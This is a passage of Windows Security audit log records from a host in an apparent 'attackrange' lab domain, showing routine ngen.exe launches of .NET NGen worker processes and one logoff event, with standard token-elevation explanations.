	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4dc -InterruptEvent 0 -NGENProcess 5a0 -Pipe 51c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254975
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 560 -Pipe 570 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254974
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 574 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 4a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254982
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5bc -InterruptEvent 0 -NGENProcess 560 -Pipe 5c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254981
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x298
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5c4 -InterruptEvent 0 -NGENProcess 5bc -Pipe 5ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254980
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5ac -InterruptEvent 0 -NGENProcess 5c4 -Pipe 5d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254979
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 5b8 -Pipe 4b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254978
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5bc -InterruptEvent 0 -NGENProcess 464 -Pipe 5d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254977
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 528 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 5a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254976
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 5bc -Pipe 4dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254983
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 528 -InterruptEvent 0 -NGENProcess 5e8 -Pipe 544 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5d8 -InterruptEvent 0 -NGENProcess 574 -Pipe 5b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254990
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 5c0 -Pipe 600 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254989
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5e4 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 57c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254988
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 5d8 -Pipe 574 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254987
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x240
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 5c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254986
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 574 -Pipe 5e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254985
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b8 -InterruptEvent 0 -NGENProcess 5b4 -Pipe 534 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254998
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x2369C4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
